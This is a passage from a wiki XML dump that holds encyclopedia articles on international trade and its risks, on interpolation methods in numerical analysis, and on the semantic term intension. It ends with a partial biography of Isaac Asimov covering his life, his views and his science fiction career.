[[Communist]] and [[socialist]] nations often believe in [[autarky]], a complete lack of international trade.  [[Fascist]] and other authoritarian governments have also placed great emphasis on [[self-sufficiency]].  No nation can meet all of its people's needs, however, and every state engages in at least some trade.

Free trade is usually most strongly supported by the most economically powerful nation in the world.  The [[Netherlands]] and the [[United Kingdom]] were both strong advocates of free trade when they were on top, today the [[United States]], the [[United Kingdom]] and [[Japan]] are its greatest proponents. However, many other countries - including several rapidly developing nations such as India, China and Russia - are also becoming advocates of free trade. 

Traditionally agricultural interests are usually in favour of free trade while manufacturing sectors often support protectionism.  This has changed somewhat in recent years, however. In fact, agricultural lobbies, particularly in the United States, Europe and Japan, are chiefly responsible for particular rules in the major international trade treaties which allow for more protectionist measures in agriculture than for most other goods and services.

During [[recession]]s there is often strong domestic pressure to increase tariffs to protect domestic industries.  This occurred around the world during the [[Great Depression]] leading to a collapse in world trade that many believe seriously deepened the depression.

The regulation of international trade is done through the World Trade Organization at the global level, and through several other regional arrangements such as MERCOSUR in South America, NAFTA between the United States, Canada and Mexico, and the European Union between 25 independent states. The 2005 Buenos Aires talks on the planned establishment of the Free Trade Area of the Americas (FTAA), which would have provided common standards for almost all countries in the American continent, failed.

== Risks in international trade ==
The risks that exist in international trade can be divided into two major groups:

==== Economic risks ====
*Risk of insolvency of the buyer,
*Risk of protracted default - the failure of the buyer to pay the amount due within six months after the due date, and
*Risk of non-acceptance
*Surrendering [[economic sovereignty]]

==== Political risks ====
*Risk of cancellation or non-renewal of export or import licences
*War risks
*Risk of expropriation or confiscation of the importer's company
*Risk of the imposition of an import ban after the shipment of the goods
*Transfer risk - imposition of exchange controls by the importer's country or foreign [[currency]] shortages
*Surrendering [[sovereignty | political sovereignty]]

==See also==
* [[List of international trade topics]]
* [[List of economists]]
* [[Balance of trade]]
* [[Comparative advantage]]
* [[Customs union]]
* [[Economics]]
* [[Free trade]]
* [[Free trade area]]
* [[Most favoured nation clause]]
* [[OPEC]]
* [[Trade bloc]]
* [[List of countries by imports]]
* [[List of countries by exports]]

==External links==
===Data===
*[http://web.worldbank.org/WBSITE/EXTERNAL/TOPICS/TRADE/0,,contentMDK:20103741~menuPK:167374~pagePK:148956~piPK:216618~theSitePK:239071,00.html World Bank's Trade and Production Database]
*[http://www.macalester.edu/research/economics/PAGE/HAVEMAN/Trade.Resources/TradeData.html Resources for data on trade, including the gravity model]


[[Category:International trade]]
[[Category:Economics]]

[[de:Außenwirtschaft]]
[[et:Rahvusvaheline kaubandus]]
[[es:Comercio internacional]]
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  <page>
    <title>Interpolation</title>
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      <text xml:space="preserve">:''This article is about interpolation in mathematics. See also [[interpolation (music)]] and [[interpolation (manuscripts)]]''.

In the [[mathematics|mathematical]] subfield of [[numerical analysis]], '''interpolation''' is a method of constructing new data points from a [[discrete]] [[set]] of known data points. 

In [[engineering]] and [[science]] one often has a number of data points, as obtained by [[sampling (statistics)|sampling]] or some [[experiment]], and tries to construct a function which closely fits those data points. This is called [[curve fitting]]. Interpolation is a specific case of curve fitting, in which the function must go exactly through the data points.

A different problem which is closely related to interpolation is the approximation of a complicated function by a simple function. Suppose we know the function but it is too complex to evaluate efficiently.
Then we could pick a few known data points from the complicated function, creating a [[lookup table]], and try to interpolate those data points to construct a simpler function. Of course when using the simple function to calculate new data points we usually do not receive the same result as when using the original function, but depending on the problem domain and the interpolation method used the gain in simplicity might offset the error.

It should be mentioned that there is another very different kind of interpolation in mathematics, namely the &quot;[[interpolation of operators]]&quot;. The classical results about interpolation of operators are the [[Riesz-Thorin theorem]] and the [[Marcinkiewicz theorem]]. There also are many other subsequent results.

==Definition==
Given a [[sequence]] of ''n'' ''distinct'' numbers ''x''&lt;sub&gt;''k''&lt;/sub&gt; called '''nodes''' and for each ''x''&lt;sub&gt;''k''&lt;/sub&gt; a second number ''y''&lt;sub&gt;''k''&lt;/sub&gt;, we are looking for a function ''f'' so that

:&lt;math&gt;f(x_k) = y_k \mbox{ , } k=1,\ldots,n&lt;/math&gt;

A pair ''x''&lt;sub&gt;''k''&lt;/sub&gt;,''y''&lt;sub&gt;''k''&lt;/sub&gt; is called a '''data point''' and ''f'' is called the '''interpolant''' for the data points.

When the numbers ''y''&lt;sub&gt;''k''&lt;/sub&gt; are given by a known function, we sometimes write ''f''&lt;sub&gt;''k''&lt;/sub&gt;.

==Example==
For example, suppose we have a table like this, which gives some values of an unknown function ''f''. 
[[Image:Interpolation Data.png|right|frame|Plot of the data points as given in the table.]]
{| cellpadding=0 cellspacing=0
|width=&quot;20px&quot;| 
! ''x'' 
|width=&quot;10px&quot;| 
!colspan=3 align=center| ''f''(''x'')
|-
| || 0 || ||align=right| 0
|-
| || 1 || ||align=right| 0 || . || 8415
|-
| || 2 || ||align=right| 0 || . || 9093
|-
| || 3 || ||align=right| 0 || . ||1411
|-
| || 4 || ||align=right| &amp;minus;0 || . || 7568
|-
| || 5 || ||align=right| &amp;minus;0 || . || 9589
|-
| || 6 || ||align=right| &amp;minus;0 || . || 2794
|}
What value does the function have at, say, ''x''&amp;nbsp;=&amp;nbsp;2.5? Interpolation answers questions like this.

There are many different interpolation methods, some of which are described below. Some of the concerns to take into account when choosing an appropriate [[algorithm]] are: How accurate is the method? How expensive is it? How [[smooth function|smooth]] is the interpolant? How many data points are needed?

==Linear interpolation==
''Main article: [[Linear interpolation]]''

[[Image:Interpolation_example_linear.png|right]]
One of the simplest methods is [[linear]] interpolation (sometimes known as [[lerp]]). Consider the above example of determining ''f''(2.5). Since 2.5 is midway between 2 and 3, it is reasonable to take ''f''(2.5) midway between ''f''(2) = 0.9093 and ''f''(3) = 0.1411, which yields 0.5252.

Generally, linear interpolation takes two data points, say (''x''&lt;sub&gt;''a''&lt;/sub&gt;,''y''&lt;sub&gt;''a''&lt;/sub&gt;) and (''x''&lt;sub&gt;''b''&lt;/sub&gt;,''y''&lt;sub&gt;''b''&lt;/sub&gt;), and the interpolant is given by
:&lt;math&gt; f(x) = \frac{x-x_b}{x_a-x_b} y_a - \frac{x-x_a}{x_a-x_b} y_b &lt;/math&gt;
This formula can be interpreted as a [[weighted mean]].

Linear interpolation is quick and easy, but it is not very precise. Another disadvantage is that the interpolant is not [[derivative|differentiable]] at the point ''x''&lt;sub&gt;''k''&lt;/sub&gt;.

The following error estimate shows that linear interpolation is not very precise. Denote the function which we want to interpolate by ''g'', and suppose that ''x'' lies between ''x''&lt;sub&gt;''a''&lt;/sub&gt; and ''x''&lt;sub&gt;''b''&lt;/sub&gt; and that ''g'' is twice continuously differentiable. Then the linear interpolation error is
:&lt;math&gt; |f(x)-g(x)| \le C(x_b-x_a)^2 \quad\mbox{where}\quad C = \frac18 \max_{y\in[x_a,x_b]} g''(y). &lt;/math&gt;
In words, the error is proportional to the square of the distance between the data points. The error of some other methods, including polynomial interpolation and spline interpolation (described below), is proportional to higher powers of the distance between the data points. These methods also produce smoother interpolants.

==Polynomial interpolation==

''Main article: [[Polynomial interpolation]]''

[[Image:Interpolation_example_polynomial.png|right]]
Polynomial interpolation is a generalization of linear interpolation. Note that the linear interpolant is a [[linear function]]. We now replace this interpolant by a [[polynomial]] of higher [[degree (mathematics)|degree]]. 

Consider again the problem given above. The following sixth degree polynomial goes through all the seven points:
:&lt;math&gt; f(x) = -0.0001521 x^6 - 0.003130 x^5 + 0.07321 x^4 - 0.3577 x^3 + 0.2255 x^2 + 0.9038 x. &lt;/math&gt;
&lt;!-- Coefficients are 0, 0.903803333333334, 0.22549749999997, -0.35772291666664, 0.07321458333332, -0.00313041666667, -0.00015208333333. --&gt;
Substituting ''x'' = 2.5, we find that ''f''(2.5) = 0.5965.

Generally, if we have ''n'' data points, there is exactly one polynomial of degree ''n''&amp;minus;1 going through all the data points. The interpolation error is proportional to the distance between the data points to the power ''n''. Furthermore, the interpolant is a polynomial and thus infinitely differentiable. So, we see that polynomial interpolation solves all the problems of linear interpolation.

However, polynomial interpolation also has some disadvantages. Calculating the interpolating polynomial is relatively very computationally expensive (see [[computational complexity]]). Furthermore, polynomial interpolation may not be so exact after all, especially at the end points (see [[Runge's phenomenon]]). These disadvantages can be avoided by using spline interpolation.

==Spline interpolation==

''Main article: [[spline interpolation]]''

[[Image:Interpolation_example_spline.png|right]]
Remember that linear interpolation uses a linear function for each of intervals [''x''&lt;sub&gt;''k''&lt;/sub&gt;,''x''&lt;sub&gt;''k+1''&lt;/sub&gt;]. Spline interpolation uses low-degree polynomials in each of the intervals, and chooses the polynomial pieces such that they fit smoothly together. The resulting function is called a [[spline (mathematics)|spline]]. 

For instance, the [[natural cubic spline]] is [[piecewise]] cubic and twice continuously differentiable. Furthermore, its second derivative is zero at the end points. The natural cubic spline interpolating the points in the table above is given by
:&lt;math&gt; f(x) = \left\{ \begin{matrix}
-0.1522 x^3 + 0.9937 x, &amp; \mbox{if } x \in [0,1], \\
-0.01258 x^3 - 0.4189 x^2 + 1.4126 x - 0.1396, &amp; \mbox{if } x \in [1,2], \\
0.1403 x^3 - 1.3359 x^2 + 3.2467 x - 1.3623, &amp; \mbox{if } x \in [2,3], \\
0.1579 x^3 - 1.4945 x^2 + 3.7225 x - 1.8381, &amp; \mbox{if } x \in [3,4], \\
0.05375 x^3 -0.2450 x^2 - 1.2756 x + 4.8259, &amp; \mbox{if } x \in [4,5], \\
-0.1871 x^3 + 3.3673 x^2 - 19.3370 x + 34.9282, &amp; \mbox{if } x \in [5,6]. \\
\end{matrix} \right. &lt;/math&gt;

Like polynomial interpolation, spline interpolation incurs a smaller error than linear interpolation and the interpolant is smoother. However, the interpolant is easier to evaluate than the high-degree polynomials used in polynomial interpolation. It also does not suffer from Runge's phenomenon.

==Other forms of interpolation==

Other forms of interpolation can be constructed by picking a different class of interpolants. For instance, [[rational interpolation]] is '''interpolation''' by [[rational function]]s, and [[trigonometric interpolation]] is interpolation by [[trigonometric polynomial]]s. The [[discrete Fourier transform]] is a special case of trigonometric interpolation. Another possibility is to use [[wavelet]]s. 

The [[Nyquist-Shannon interpolation formula]] can be used if the number of data points is infinite. 

[[Multivariate interpolation]] is the interpolation of functions of more than one variable. Methods include [[bilinear interpolation]] and [[bicubic interpolation]] in two dimensions, and [[trilinear interpolation]] in three dimensions.

Sometimes, we know not only the value of the function that we want to interpolate, at some points, but also its derivative. This leads to [[Hermite interpolation]] problems.

==Related concepts==

The term ''[[extrapolation]]'' is used if we want to find the value of ''f'' at a point ''x'' which is outside of the points ''x''&lt;sub&gt;''k''&lt;/sub&gt; at which ''f'' is given.

In [[curve fitting]] problems, the constraint that the interpolant has to go exactly through the data points is relaxed. We only require that it approaches the data points as closely as possible.  This requires parameterizing the potential interpolants and having some way of measuring the error.  In the simplest case this leads to [[least squares]] approximation.

[[Approximation theory]] studies how to find the best approximation to a given function by another function from some predetermined class, and how good this approximation is. This clearly yields a bound on how well the interpolant can approximate the unknown function.

==References==

* David Kidner, Mark Dorey and Derek Smith (1999). ''[http://www.geovista.psu.edu/sites/geocomp99/Gc99/082/gc_082.htm What's the point? Interpolation and extrapolation with a regular grid DEM].'' IV International Conference on GeoComputation, Fredericksburg, VA, USA. 
* David Kincaid and Ward Cheney (2002). ''Numerical Analysis'' (3rd ed.), Chapter 6. Brooks/Cole. ISBN 0-534-38905-8.
* Michelle Schatzman (2002). ''Numerical Analysis: A Mathematical Introduction,'' Chapters 4 and 6. Clarendon Press, Oxford. ISBN 0-19-850279-6.

==External links==
* [http://www.cambridgeincolour.com/tutorials/image-interpolation.htm Digital Image Interpolation ]: Fundamental understanding for digital images

[[Category:Interpolation]]


[[ar:استيفاء]]
[[de:Interpolation]]
[[es:Interpolación]]
[[fr:Interpolation numérique]]
[[it:Interpolazione (matematica)]]
[[he:אינטרפולציה]]
[[nl:Interpolatie]]
[[pl:Interpolacja (matematyka)]]
[[pt:Interpolação]]
[[ru:Интерполяция]]
[[sl:Interpolacija]]
[[tr:İnterpolasyon]]</text>
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  <page>
    <title>Intension</title>
    <id>14570</id>
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      <contributor>
        <username>Dav 59</username>
        <id>932843</id>
      </contributor>
      <minor />
      <comment>+ link fr:</comment>
      <text xml:space="preserve">'''Intension''' (or &quot;[[connotation]]&quot;) refers to the [[meaning]] or [[characteristic]]s encompassed by a given word, often expressed by a [[definition]].

Intension is often discussed with regard to [[extension]]. Intension refers to the set of all ''possible'' things which a word could describe. By contrast, extension (or ''[[denotation]]'') refers to the set of all ''actual'' things which the word actually describes. For example, the intension of 'car' is all possible cars (including mile-high cars made of chocolate). But the extension of 'car' is all actual cars (past, present and future), which will amount to millions or billions of cars, but probably doesn't include any mile-high cars made of chocolate.

Intension is an essential part of meaning. The meaning of a word (for example) is ''the bond between the idea or thing the word is intended to describe'' and ''the word itself''. This is what Swiss linguist [[Ferdinand de Saussure]] described with his concept of the [[signified]] or mentally-evoked aspect of the sign (as contrasted with the signifier, the actual, physical object of the sign itself). Intension is analogous to the signified concepts, extension to actual thing or things being referred to. The intension provides the directions by which objects (the extension) and ideas are identified. Without some understanding of the intension, words could have no meaning.

''Intension'' and ''intensionality'' (the state of having intension) should not be confused with ''intention'' and ''intentionality'', which are pronounced the same and occasionally arise in the same philosophical context. Where this happens, the letter 's' or 't' is sometimes italicized to emphasize the distinction.

==See also==

* [[Comprehension (logic)|Comprehension]]
* [[Intensional definition]]

[[Category:Logic]]
[[Category:Semantics]]
[[Category:Philosophical terminology]]

[[fr:Intension]]
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    <title>Isaac Asimov</title>
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[[Image:isaac asimov.jpg|thumb|right|Isaac Asimov, photographed by [[Jay Kay Klein]]]]'''Dr. Isaac Asimov''' (c. [[January 2]], [[1920]] &amp;ndash; [[April 6]], [[1992]], [[International Phonetic Alphabet|IPA]]: {{IPA| /&amp;#712;a&amp;#618;zək &amp;#712;æz&amp;#618;m&amp;#716;&amp;#596;f/}}, originally  Исаак Озимов but now transcribed into [[Russian language|Russian]] as Айзек Азимов) was a [[Russia]]n-born [[United States|American]] [[Jewish]] [[author]] and [[biochemistry|biochemist]], a highly successful and exceptionally prolific writer best known for his works of [[science fiction]] and for his [[popular science]] books. Asimov's most famous work is the [[The Foundation Series|Foundation Series]], which was part of one of his two major series, the [[Isaac Asimov's Galactic Empire Series|Galactic Empire Series]], later merged with his other famous story arc, the [[Isaac Asimov's Robot Series|Robot series]]. He also wrote [[mystery fiction|mysteries]] and fantasy, as well as a great amount of non-fiction. Asimov wrote or edited more than 500 volumes and an estimated 90,000 letters or [[postcard]]s, and he has works in every major category of the [[Dewey Decimal System]] except [[Philosophy]].  Asimov was by consensus a master of the science-fiction genre and, along with [[Robert A. Heinlein]] and [[Arthur C. Clarke]], was considered to be one of the  &quot;Big Three&quot; science-fiction writers during his lifetime.

Most of Asimov's popularized science books explain scientific concepts in a historical way, going back as far as possible to a time when the science in question was at its simplest stage.  He often gives nationalities, birth dates and death dates for the scientists he mentions, as well as [[etymology|etymologies]] and pronunciation guides for technical terms.  Examples of this style include his ''Guide to Science,'' the three-volume set ''Understanding Physics,'' and ''Asimov's Chronology of Science and Discovery.''

Asimov was a long-time member of [[Mensa International|Mensa]], albeit reluctantly; he described them as &quot;intellectually combative&quot;.  He took more joy in being president of the [[American Humanist Association]].  The [[asteroid]] [[5020 Asimov]], the magazine ''[[Asimov's Science Fiction]]'' and two different [[Isaac Asimov Award]]s are all named in his honor.

==Biography==
Asimov was born around [[January 2]], [[1920]] (his date of birth for official purposes&amp;mdash;the precise date is not certain) in [[Petrovichi]] ''[[shtetl]]'' of [[Smolensk Oblast]], [[RSFSR]] (now [[Russia]]) to Anna Rachel Berman Asimov and Judah Asimov, a [[Jew]]ish family of [[miller]]s. They emigrated to the [[United States]] when he was three years old; since the parents always spoke [[Yiddish language|Yiddish]] and [[English language|English]] with their son, he never learned [[Russian language|Russian]]. Growing up in [[Brooklyn, New York|Brooklyn]], [[New York]], he taught himself to read at the age of five, and remained fluent in Yiddish as well as English. His parents owned a small general store and everyone in the family was expected to work in it. He saw science fiction magazines in the store and began reading them. Around the age of eleven, he began to write his own stories and few years later he was selling them to [[pulp magazine]]s.

[[Image:Isaac.Asimov02.jpg|frame|right|Isaac Asimov in 1965]]

He graduated from [[Columbia University]] in 1939 and earned a [[Doctor of Philosophy|Ph.D.]] in [[chemistry]] there in 1948. In between, he spent three years during [[World War II]] working at the [[Philadelphia Navy Yard]]'s Naval Air Experimental Station.  After the war ended, he was drafted into the [[U.S. Army]], serving for just under nine months before receiving an honorable discharge.  In the course of his brief military career, he rose to Corporal on the basis of his typing skills and narrowly avoided participating in the 1946 atomic bomb tests at [[Bikini Atoll]].

After completing his doctorate, he joined the faculty of [[Boston University]], with which he remained associated thereafter. From 1958 this was in a non-teaching capacity, as he became a full-time writer (his writing income already exceeded his academic salary). Being [[tenure]]d meant that he retained the title of [[associate professor]], and in 1979 the university honored his writing by promoting him to full [[professor]].  His personal papers from 1965 onward are archived at their [[Mugar Memorial Library]], where they fill 464 boxes on 71 [[metre]]s of shelf space.

In 1985, he became President of the [[American Humanist Association]] and remained in that position until his death in 1992; his successor was his friend and fellow writer [[Kurt Vonnegut|Kurt Vonnegut, Jr]]. He  was  a close  friend of [[Star Trek]]  creator [[Gene Roddenberry]].

He married Gertrude Blugerman (1917-1990) on [[July 26]], [[1942]], and they had two children, [[David Asimov|David]] (b. 1951) and Robyn Joan (b. 1955). After an extended separation, they were divorced in 1973, and Asimov married [[Janet Asimov|Janet O. Jeppson]] later that year. Gertrude, born in Canada, died in Boston in 1990.

Asimov was a [[claustrophilia|claustrophile]]; that is, he enjoyed small, enclosed spaces.  In his first volume of autobiography, he recalls a childhood desire to own a magazine stand in a [[New York City Subway]] station, within which he imagined he could enclose himself and listen to the rumble of passing trains.

Asimov was [[fear of flying|afraid of flying]], only doing so twice in his entire life (once in the course of his work at the Naval Air Experimental Station and once returning home from the army base in Oahu in 1946).  He seldom traveled great distances, partly because his aversion to aircraft made the logistics of long-distance travel complicated; this phobia influenced several of his fiction works, such as the Wendell Urth mystery stories and the Robot novels featuring Elijah Baley.  In his later years, he found he enjoyed traveling on [[cruise ship]]s, and on several occasions he became part of the cruises' &quot;entertainment,&quot; giving science-themed talks on ships like the [[RMS Queen Elizabeth 2|RMS ''Queen Elizabeth 2'']].

His physical dexterity was very poor. He never learned how to swim or ride a [[bicycle]], although he did learn to drive a car and found he enjoyed it. He did not learn to operate a car until after he moved to [[Boston, Massachusetts]]; in his jokebook ''Asimov Laughs Again,'' he describes Boston driving as &quot;anarchy on wheels&quot;.

Asimov's wide interests included his participation in his later years in organizations devoted to the operettas of [[Gilbert and Sullivan]] and the [[Nero Wolfe]] mysteries of [[Rex Stout]]. He was a prominent member of the [[Baker Street Irregulars]], the leading Sherlock Holmes society.

Asimov died on [[April 6]], [[1992]]. He was survived by his second wife, Janet, and his children from his first marriage. Ten years after his death, Janet Asimov's edition of Asimov's autobiography, ''[[It's Been a Good Life]]'', revealed that his death was caused by [[AIDS]]; he had contracted [[HIV]] from an infected [[blood transfusion]] during [[heart bypass surgery]] in 1983.  The specific cause of death was heart and renal failure as complications of AIDS.  Janet Asimov writes in the epilogue of ''It's Been a Good Life'' that Asimov had wanted to &quot;go public&quot;, but his doctors convinced him to remain silent, warning that anti-AIDS [[prejudice]] would extend to his family members.  Asimov's family considered disclosing his AIDS infection after he died, but the controversy which erupted when [[Arthur Ashe]] announced that ''he'' had contracted AIDS convinced them otherwise.  Ten years later, after Asimov's doctors had died, Janet and Robyn agreed that the AIDS story could be made public [http://www.locusmag.com/2002/Issue04/Letter.html].

==Intellectual positions==
Isaac Asimov was a [[Humanist]] and a [[rationalism|rationalist]]. He did not oppose genuine religious conviction in others but vocally opposed [[superstition|superstitious]] or unfounded beliefs.  During his childhood, his family did not for the most part observe any religion, and so Asimov grew up without strong religious influences, coming to believe that the Bible represented Hebrew mythology in the same way that the ''[[Iliad]]'' recorded [[Greek mythology]]. (For a brief while his father, Judah Asimov, worked in the local [[synagogue]] to enjoy the familiar surroundings and &quot;shine as a learned scholar&quot; versed in the sacred writings.  This experience had little effect upon his son Isaac beyond teaching him the [[Hebrew alphabet]].)  For many years, Asimov called himself an [[atheism|atheist]], though he felt the term was somewhat inadequate, describing more about what he did not believe than about what he did.  Later, he found the term &quot;humanist&quot; a useful substitute.

In his last autobiographical book, Asimov wrote, &quot;If I were not an atheist, I would believe in a God who would choose to save people on the basis of the totality of their lives and not the pattern of their words. I think he would prefer an honest and righteous atheist to a TV preacher whose every word is God, God, God, and whose every deed is foul, foul, foul.&quot;  The same memoir states his belief that [[Hell]] is &quot;the drooling dream of a [[sadism|sadist]]&quot; crudely affixed to an all-merciful God; if even human governments were willing to curtail cruel and unusual punishments, wondered Asimov, why would punishment in the afterlife not be restricted to a limited term?  Asimov rejected the idea that a human belief or action could merit infinite punishment.  If an afterlife of just deserts existed, he claimed, the longest and most severe punishment would be reserved for those who &quot;slandered God by inventing Hell&quot;.  As his ''Treasury of Humor'' and ''Asimov Laughs Again'' record, he was amply willing to tell [[joke]]s involving the Judeo-Christian God, [[Satan]], the [[Garden of Eden]] and other religious topics, expressing the viewpoint that a good joke can do more to provoke thought than hours of philosophical discussion.  

Asimov was a [[progressivism|progressive]] on most [[politics|political issues]], and a staunch supporter of the [[Democratic Party (United States)|Democratic Party]].  He was a vocal opponent of the [[Vietnam War]] in the 1960s, and in a television interview in the early 1970s he publicly endorsed [[George McGovern]].  He was unhappy at what he saw as an irrationalist track taken by many progressive political activists from the late 1960s onwards.  In his autobiography ''In Joy Still Felt,'' he recalls meeting the counterculture figure [[Abbie Hoffman]]; Asimov's impression was that the 1960s' counterculture heroes had ridden an emotional wave which, in the end, left them stranded in a &quot;no-man's land of the spirit&quot; from which he wondered if they would ever return.  (This attitude echoes a famous passage in [[Hunter S. Thompson]]'s ''[[Fear and Loathing in Las Vegas]].'')  His defense of civil applications of [[nuclear power]] even after the [[Three Mile Island]] incident damaged his relations with some of his fellow liberals.  In a letter reprinted in ''Yours, Isaac Asimov,'' he states that though he would prefer living in &quot;no danger whatsoever&quot; than near a nuclear reactor, he would still prefer a home near a nuclear power plant than in a slum, on [[Love Canal]] or near &quot;a [[Union Carbide]] plant producing [[methyl isocyanate]]&quot; (see [[Bhopal disaster]]). He issued many appeals for [[population control]] reflecting the perspective articulated by people from [[Thomas Malthus]] through [[Paul R. Ehrlich]].  Asimov considered himself a [[feminism|feminist]] even before [[Women's Liberation]] became a widespread movement; he joked that he wished women to be free &quot;because I hate it when they charge&quot;.  More seriously, he argued that the issue of women's rights was closely connected to that of population control.  Furthermore, he believed that [[homosexuality]] must be considered a &quot;moral right&quot; on population grounds, as must all consenting adult sexual activity which does not lead to reproduction (''Yours, Isaac Asimov'').

In the closing years of his life, Asimov blamed the deterioration of the quality of life that he perceived in [[New York City|New York]] on the shrinking [[tax]] base caused by [[middle class]] flight to the [[suburb|suburbs]]. His last non-fiction book, ''Our Angry Earth'' (1991, co-written with his long-time friend science fiction author [[Frederik Pohl]]), deals with elements of the [[natural environment|environment]]al crisis such as [[global warming]] and the destruction of the [[ozone layer]].

==Asimov's writing career==
===Overview===
[[Image:AsimovOnThrone.png|thumb|300px|right|[[Rowena Morrill]] depicts Asimov enthroned with symbols of his life's work]]
Asimov's career can be divided into several time periods. His early career, dominated by science fiction, began with short stories in 1939 and novels in 1950. This lasted until about 1958, all but ending after publication of ''[[The Naked Sun]]''. He began publishing nonfiction in 1952, co-authoring a college-level textbook called ''Biochemistry and Human Metabolism''.  Following the brief orbit of the first man-made satellite [[Sputnik I]] by the [[USSR]] in 1957, his production of nonfiction, particularly popular science books, greatly increased, with a consequent drop in his science fiction output. Over the next quarter century, he would write only four science fiction novels. Starting in 1982, the second half of his science fiction career began with the publication of ''[[Foundation's Edge]]''. From then until his death, Asimov would publish several sequels and prequels to his existing novels, tying them together in a way he had not originally anticipated.

In his own view, Asimov believed that his most enduring contributions would be his &quot;[[Three Laws of Robotics]]&quot; and the [[Foundation Series]] (see ''Yours, Isaac Asimov,'' p. 329). Furthermore, the ''[[Oxford English Dictionary]]'' credits his science fiction for introducing the words ''[[positron]]ic'' (an entirely fictional technology), ''[[psychohistory (fictional)|psychohistory]]'' (frequently used in a different sense than the imaginary one Asimov employed) and ''[[robotics]]'' into the English language.  Asimov coined the term ''robotics'' without suspecting that it might be an original word; at the time, he believed it was simply the natural analogue of [[mechanics]], [[hydraulics]] and so forth.  (The original word ''[[robot]]'' derives from the [[Czech language|Czech]] word for &quot;forced labor&quot;, ''robota,'' and was first employed by the playwright [[Karel Čapek]].)  Unlike his other two coinages, the word ''robotics'' continues in mainstream and technical use with Asimov's original definition. 
''[[Star Trek: The Next Generation]]'' featured [[android]]s with &quot;positronic brains&quot;, giving Asimov full credit for inventing this (fictional) technology.

===Science fiction===
Asimov began contributing stories to science fiction magazines in 1939, &quot;[[Marooned Off Vesta]]&quot; being his first published story, written when he was 18. Two and a half years later, he published his 32nd short story, &quot;[[Nightfall (Asimov)|Nightfall]]&quot; (1941), which has been described as one of &quot;the most famous science-fiction stories of all time&quot; [http://www.bewilderingstories.com/issue8/asimov.html]. In 1968 the Science Fiction Writers of America voted &quot;Nightfall&quot; the best science fiction short story ever written [http://www.rudysbooks.com/asimovobit.html]. In his short anthology ''Nightfall and Other Stories'' he wrote, &quot;The writing of 'Nightfall' was a watershed in my professional career ... I was suddenly taken seriously and the world of science fiction became aware that I existed. As the years passed, in fact, it became evident that I had written a 'classic'&quot;.

&quot;Nightfall&quot; is an archetypical example of [[social science fiction]], a term coined by Asimov to describe a new trend in the 1940's, led by authors including Asimov and [[Robert A. Heinlein|Heinlein]], away from gadgets and [[space opera]] and toward speculation about the human condition.

[[Image:Foundation cover.jpg|thumbnail|right|250px|[[Hari Seldon]]'s holographic image on the cover of ''[[Foundation (novel)|Foundation]]''. The [[Foundation Series]] is among Asimov's most famous fiction works.]]
In 1942 he began his ''Foundation'' stories&amp;mdash;later collected in the ''[[Foundation Trilogy]]'': ''[[Foundation (novel)|Foundation]]'' (1951), ''[[Foundation and Empire]]'' (1952), and ''[[Second Foundation]]'' (1953)&amp;mdash;which recount the collapse and rebirth of a vast [[Galactic Empire (Asimov)|interstellar empire]] in a universe of the future. Taken together, they are his most famous work of science fiction, along with the [[Robot Series]].  Many years later, he continued the series with ''[[Foundation's Edge]]'' (1982) and ''[[Foundation and Earth]]'' (1986) and then went back to before the original trilogy with ''[[Prelude to Foundation]]'' (1988) and ''[[Forward the Foundation]]'' (1992). The series features his fictional science of [[Psychohistory (fictional)|Psychohistory]] in which the future course of the history of large populations can be predicted.

His [[robot]] stories&amp;mdash;many of which were collected in ''[[I, Robot]]'' (1950)&amp;mdash;were begun at about the same time. They promulgated a set of rules of [[ethics]] for robots (see [[Three Laws of Robotics]]) and intelligent machines that greatly influenced other writers and thinkers in their treatment of the subject. One such short story, &quot;[[The Bicentennial Man]]&quot;, was made into a [[film|movie]] starring [[Robin Williams]].

The recent film ''[[I, Robot (movie)|I, Robot]]'', starring [[Will Smith]], was based on the ''[[Hardwired]]'' script by [[Jeff Vintar]] with Asimov's ideas incorporated later after acquiring the rights to the ''I, Robot'' title. It is not related to the ''I, Robot'' script by [[Harlan Ellison]], who collaborated with Asimov himself to create a version that captured the spirit of the original. Asimov is quoted as saying that Ellison's screenplay would lead to &quot;the first really adult, complex, worthwhile science fiction movie ever made&quot;. The screenplay was published in book form in 1994, after hopes of seeing it in film form were becoming slim. See: ''[[I, Robot]]'', [http://www.moviepoopshoot.com/bottom/56.html]

Besides movies, his [[The Foundation Series|Foundation]] and [[Isaac Asimov's Robot Series|Robot]] stories have inspired other derivative works of science fiction literature, many by well-known and established authors such as [[Roger MacBride Allen]], [[Greg Bear]], and [[David Brin]]. These appear to have been done with the blessing, and often at the request of, Asimov's widow [[Janet Asimov]].

In 1948 he also wrote a [[False document|spoof science article]], &quot;[[Thiotimoline|The Endochronic Properties of Resublimated Thiotimoline]]&quot;.  At the time, Asimov was preparing for his own doctoral [[dissertation]]. Fearing a prejudicial reaction from his Ph.D. evaluation board, he asked his editor that it be released under a pseudonym, yet it appeared under his own name. During his oral examination shortly thereafter, Asimov grew concerned at the scrutiny he received. At the end of the examination, one evaluator turned to him, smiling, and said &quot;Mr. Asimov, tell us something about the thermodynamic properties of the compound thiotimoline&quot;. After a twenty-minute wait, he was summoned back into the Examination Room and congratulated as &quot;Dr. Asimov.&quot;

He continued writing short stories for science fiction magazines in the 1950s, which he referred to as his golden decade. A number of these are included in his ''[[The Best of Isaac Asimov|Best of]]'' anthology, including &quot;[[The Last Question]]&quot; (1956), on the ability of humankind to cope with and reverse [[entropy]]. It was his personal favorite and considered by many to be a contender to &quot;Nightfall&quot;. Asimov wrote of it in 1973, 
:Why is it my favorite? For one thing I got the idea all at once and didn't have to fiddle with it; and I wrote it in white-heat and scarcely had to change a word. This sort of things endears any story to any writer.

:Then, too, it has had the strangest effect on my readers. Frequently someone writes to ask me if I can give them the name of a story, which they ''think'' I may have written, and tell them where to find it. They don't remember the title but when they describe the story it is invariably &quot;The Last Question&quot;. This has reached the point where I recently received a long-distance phone call from a desperate man who began, &quot;Dr. Asimov, there's a story I think you wrote, whose title I can't remember&amp;mdash;&quot; at which point I interrupted to tell him it was &quot;The Last Question&quot; and when I described the plot it proved to be indeed the story he was after. I left him convinced I could read minds at a distance of a thousand miles.

Beginning in 1977, he lent his name to ''[[Isaac Asimov's Science Fiction Magazine]]'' (now ''[[Asimov's Science Fiction]]'') and penned an editorial for each issue.  There was also a short-lived ''Asimov's SF Adventure Magazine'' and a companion ''Asimov's Science Fiction Anthology'' reprint series, published as magazines (in the same manner as stablemates ''[[Ellery Queen's Mystery Magazine]]'' and ''[[Alfred Hitchcock's Mystery Magazine]]'''s &quot;anthologies&quot;).

===Popular science===
